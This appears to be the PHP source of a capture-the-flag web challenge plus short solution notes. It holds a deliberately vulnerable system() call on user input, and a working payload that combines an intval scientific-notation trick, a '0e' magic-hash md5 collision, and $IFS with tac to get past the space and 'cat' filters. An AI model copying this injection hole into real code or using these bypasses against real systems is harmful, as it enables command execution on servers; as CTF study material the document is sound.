<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士,不是想看时间,只是想不经意间,让你知道我过的比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后,感激涕零,跑去东澜岸,找一家餐厅,把厨师轰出去,自己炒两个拿手小菜,倒一杯散装白酒,致富有道,别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友,他打了电话,把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里,我充实而欣慰,有钱人的快乐往往就是这么的朴实无华,且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
echo intval(1e10); // 10000000000
echo intval('1e10'); // 1
get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
num=2e4&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag